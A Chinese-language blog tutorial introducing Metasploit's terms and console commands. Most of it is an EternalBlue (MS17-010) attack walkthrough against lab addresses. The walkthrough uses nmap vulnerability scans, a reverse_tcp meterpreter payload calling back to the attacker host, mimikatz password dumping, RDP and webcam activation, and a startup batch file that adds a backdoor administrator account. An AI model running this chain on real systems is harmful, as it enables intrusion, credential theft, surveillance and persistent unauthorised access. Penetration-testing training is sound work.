首页 > 技术文章 > Metasploit 介绍

Sylon 2019-06-24 14:25 原文

 

 

 

Metasploit 介绍

  Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。

  

  1.   Metasploit简称msf

  2.  msf已经集成在kali 虚拟机中

  3.  msf 攻击脚本是Ruby 语言开发的,后缀名.rb

  4.   每一种攻击方式(或者漏洞),都至少对应这一个脚本

  5.   脚本的更新,用一个Ruby 直接放在msf 中对应的目录

  

MSF

启动msf

        命令行下:msfconsole

        图形界面:强烈不建议,因为涉及到数据库的问题,

        很多模块不太好找

专业术语

   exploit

   攻击的意思,

  完整的漏洞利用程序,

  在MSF 中,攻击模块,也就是一个ruby 脚本

            

  payload

  攻击载荷

  在MSF 中,payload 代表本次渗透攻击之后,所执行的代码

            

  shellcode

   在MSF 中,在渗透攻击过程中,一组机器指令(16 进制的)。

            

  模块

   软件代码组件

            

  监听器

   等待网络连接的组件

            

常用基本命令

    show exploits        显示所有的攻击模块

    show auxiliary        显示所有的辅助模块

    search ssh_version    搜索ssh_version 关键字

    use            使用某一个脚本

    back           回到主控路径

    show payloads       显示所有可用的payloads如果在某一个模块下使用该命令,当前模块可用的,并不是所有的

                        

    show options       查看相关模块的参数配置、

    show targets       显示受到漏洞影响的目标系统类型

    set payload        设置payload

    info            显示模块详细信息

    exploit          发起攻击

    run            运行扫描模块

    

    

    

nmap 信息搜集

nmap -sT -A --script=smb-vuln-ms08-067.nse -P0 172.18.199.29

nmap -n -p445 --script smb-vuln-ms17-010 192.168.1.0/24 --open

 


 

 

 

    

永恒之蓝饰演:

扫描:

msfconsole # 进入MSF框架

version # 确认下MSF的版本 4.11.17 以上

search ms17_010 # 查找漏洞模块的具体路径

use auxiliary/scanner/smb/smb_ms17_010 # 调用漏洞扫描模块

show option # 查看模块配置选项

set RHOST 192.168.1.1-254 # 配置扫描目标

set THREADS 30 #配置扫描线程

run #运行脚本

 

调用exploit 攻击:

use exploit/windows/smb/ms17_010_eternalblue

set rhost 192.168.1.112

配置攻击载荷

set payload windows/x64/meterpreter/reverse_tcp

set lhost 192.168.1.118

查看参数配置配置 :

show options

发起攻击:

exploit

 

getuid     # 查询当前用户权限为SYSTEM,获取到到最高权限

sysinfo     # 系统信息查询,当前系统为 Windows7

screenshot   #桌面抓图

load mimikatz  

 wdigest  查看密码

run post/windows/manage/enable_rdp  开启远程桌面 

webcam_scream  #视频开启

shell            # 进入cmd

               C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup  开机启动位置

 添加 psl.bat:

               echo net user ppp 123.com /add >ppp.bat

               echo net localgroup administrators ppp /add >>ppp.bat

             

 

 

 

推荐阅读